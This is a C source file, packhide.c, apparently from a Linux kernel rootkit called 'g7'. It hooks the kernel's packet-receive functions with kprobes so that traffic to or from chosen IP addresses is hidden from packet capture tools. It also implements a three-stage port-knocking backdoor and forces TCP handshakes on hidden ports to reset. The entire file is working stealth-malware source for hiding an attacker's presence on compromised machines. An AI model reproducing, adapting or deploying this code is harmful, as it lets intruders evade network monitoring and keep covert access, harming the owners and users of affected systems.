packhide.c (8045B)
1 #include <linux/kernel.h> 2 #include <linux/kprobes.h> 3 #include <linux/skbuff.h> 4 #include <linux/netdevice.h> 5 #include <linux/inet.h> 6 #include <uapi/linux/if_packet.h> 7 #include <uapi/linux/ip.h> 8 #include <uapi/linux/ipv6.h> 9 #include <linux/ip.h> 10 #include <linux/in.h> 11 #include <linux/ipv6.h> 12 13 #include "rootkit.h" 14 #include "hook.h" 15 #include "packhide.h" 16 #include "porthide.h" 17 18 extern rootkit_t rootkit; 19 20 ip_list_t hidden_ips = { 21 .ip = { 0 }, 22 .version = -1, 23 .prev = NULL, 24 .next = NULL, 25 }; 26 27 ip_list_t_ptr hidden_ips_tail = &hidden_ips; 28 29 static int g7_packet_rcv(struct kprobe *, struct pt_regs *); 30 static int g7_fault(struct kprobe *, struct pt_regs *, int); 31 static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long); 32 33 // TODO store in array of kprobes 34 static struct kprobe p_rcv = { 35 .symbol_name = "packet_rcv", 36 }; 37 38 static struct kprobe tp_rcv = { 39 .symbol_name = "tpacket_rcv", 40 }; 41 42 static struct kprobe p_rcv_spkt = { 43 .symbol_name = "packet_rcv_spkt", 44 }; 45 46 void 47 hide_packets(void) 48 { 49 if (atomic_inc_return(&packet_rcv_install_count) == 1) { 50 p_rcv.pre_handler = g7_packet_rcv; 51 p_rcv.post_handler = g7_post; 52 p_rcv.fault_handler = g7_fault; 53 54 tp_rcv.pre_handler = g7_packet_rcv; 55 tp_rcv.post_handler = g7_post; 56 tp_rcv.fault_handler = g7_fault; 57 58 p_rcv_spkt.pre_handler = g7_packet_rcv; 59 p_rcv_spkt.post_handler = g7_post; 60 p_rcv_spkt.fault_handler = g7_fault; 61 62 if (register_kprobe(&p_rcv)) 63 DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n"); 64 65 if (register_kprobe(&tp_rcv)) 66 DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n"); 67 68 if (register_kprobe(&p_rcv_spkt)) 69 DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n"); 70 } 71 } 72 73 void 74 unhide_packets(void) 75 { 76 if (atomic_dec_return(&packet_rcv_install_count) < 1) { 77 unregister_kprobe(&p_rcv); 78 unregister_kprobe(&tp_rcv); 79 unregister_kprobe(&p_rcv_spkt); 80 } 81 } 82 83 void 84 hide_ip(const char *ip) 85 { 86 u8 ipv4[16]; 87 u8 ipv6[16]; 88 89 if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) { 90 if (!list_contains_ip(&hidden_ips, ipv4, v4)) { 91 memcpy(ipv4 + 4, (ip_t){ 0 }, 12); 92 add_ip_to_list(hidden_ips_tail, ipv4, v4); 93 } 94 } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) { 95 if (!list_contains_ip(&hidden_ips, ipv6, v6)) 96 add_ip_to_list(hidden_ips_tail, ipv6, v6); 97 } 98 } 99 100 void 101 unhide_ip(const char *ip) 102 { 103 u8 ipv4[16]; 104 u8 ipv6[16]; 105 106 if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) { 107 memcpy(ipv4 + 4, (ip_t){ 0 }, 12); 108 remove_ip_from_list(&hidden_ips, ipv4, v4); 109 } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) { 110 remove_ip_from_list(&hidden_ips, ipv6, v6); 111 } 112 } 113 114 static int 115 g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) 116 { 117 struct sk_buff *skb; 118 skb = (struct sk_buff *)pt_regs->di; 119 120 u8 protocol; 121 u8 ip[16] = { 0 }; 122 ip_version version; 123 124 char *data = skb_network_header(skb); 125 char ver = data[0]; 126 127 ver &= 0xf0; 128 129 struct sk_buff *clone = skb_clone(skb, GFP_KERNEL); 130 pt_regs->di = (long unsigned int)clone; 131 132 if (ver == 0x60) { 133 struct ipv6hdr *iphdr; 134 135 iphdr = ipv6_hdr(clone); 136 protocol = iphdr->nexthdr; 137 version = v6; 138 memcpy(ip, (u8 *)&iphdr->daddr, 16); 139 140 if (rootkit.hiding_packets) { 141 if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6) 142 || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6)) 143 clone->pkt_type = PACKET_LOOPBACK; 144 } 145 } else if (ver == 0x40) { 146 struct iphdr *iphdr; 147 148 iphdr = ip_hdr(clone); 149 protocol = iphdr->protocol; 150 version = v4; 151 memcpy(ip, (u8 *)&iphdr->daddr, 4); 152 153 if (rootkit.hiding_packets) { 154 if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4) 155 || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4)) 156 clone->pkt_type = PACKET_LOOPBACK; 157 } 158 } else 159 return 0; 160 161 if (rootkit.hiding_sockets) { 162 // We need to intercept (RST) the TCP handshake 163 if (protocol == IPPROTO_TCP) { 164 struct tcphdr *tcphdr; 165 166 tcphdr = (struct tcphdr *)skb_transport_header(skb); 167 unsigned src_port = (unsigned)ntohs(tcphdr->source); 168 169 if (list_contains_knock(&ips_stage3, ip, version)) 170 return 0; 171 172 if (tcphdr->syn || !tcphdr->ack) 173 goto check_port; 174 175 if (list_contains_knock(&ips_stage2, ip, version)) { 176 if (stage3_knock(src_port)) { 177 DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port); 178 add_knock_to_list(&ips_stage3_tail, ip, version); 179 } else 180 DEBUG_NOTICE("[g7] failed entering knock stage 3, incorrect port knocked (%d)" 181 " - resetting knock progress\n", src_port); 182 183 remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version); 184 } else if (list_contains_knock(&ips_stage1, ip, version)) { 185 if (stage2_knock(src_port)) { 186 add_knock_to_list(&ips_stage2_tail, ip, version); 187 DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port); 188 } else 189 DEBUG_NOTICE("[g7] failed entering knock stage 2, incorrect port knocked (%d)" 190 " - resetting knock progress\n", src_port); 191 192 remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version); 193 } else { 194 if (stage1_knock(src_port)) { 195 DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 1\n", src_port); 196 add_knock_to_list(&ips_stage1_tail, ip, version); 197 } 198 } 199 200 check_port: 201 if (list_contains_lport(&hidden_lports, src_port)) 202 if (tcphdr->syn) { 203 DEBUG_NOTICE("[g7] blocked handshake request on port %d\n", src_port); 204 tcphdr->syn = 0; 205 tcphdr->ack = 0; 206 tcphdr->rst = 1; 207 } 208 } 209 } 210 211 return 0; 212 } 213 214 static void 215 g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags) 216 { 217 return; 218 } 219 220 static int 221 g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr) 222 { 223 return 0; 224 } 225 226 void 227 clear_hidden_ips(void) 228 { 229 ip_list_t_ptr i = hidden_ips_tail; 230 while ((i = remove_ip_from_list(i, i->ip, i->version))); 231 } 232 233 bool 234 list_contains_ip(ip_list_t_ptr list, ip_t ip, ip_version version) 235 { 236 return !!find_ip_in_list(list, ip, version); 237 } 238 239 ip_list_t_ptr 240 find_ip_in_list(ip_list_t_ptr head, ip_t ip, ip_version version) 241 { 242 ip_list_t_ptr i; 243 for (i = head; i; i = i->next) 244 if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && (version == -1 || i->version == version)) 245 return i; 246 247 return NULL; 248 } 249 250 ip_list_t_ptr 251 add_ip_to_list(ip_list_t_ptr tail, ip_t ip, ip_version version) 252 { 253 ip_list_t_ptr node; 254 node = (ip_list_t_ptr)kmalloc(sizeof(ip_list_t), GFP_KERNEL); 255 256 if (node) { 257 memcpy(node->ip, ip, (version == v4 ? 4 : 16)); 258 node->version = version; 259 node->next = NULL; 260 node->prev = tail; 261 tail->next = node; 262 hidden_ips_tail = node; 263 return node; 264 } 265 266 return NULL; 267 } 268 269 ip_list_t_ptr 270 remove_ip_from_list(ip_list_t_ptr list, ip_t ip, ip_version version) 271 { 272 ip_list_t_ptr i = find_ip_in_list(list, ip, version), ret = NULL; 273 274 if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && i->version != -1)) { 275 if (i->next) 276 i->next->prev = i->prev; 277 else 278 hidden_ips_tail = i->prev ? i->prev : &hidden_ips; 279 280 if (i->prev) { 281 i->prev->next = i->next; 282 ret = i->prev; 283 } 284 285 kfree(i); 286 } 287 288 return ret; 289 }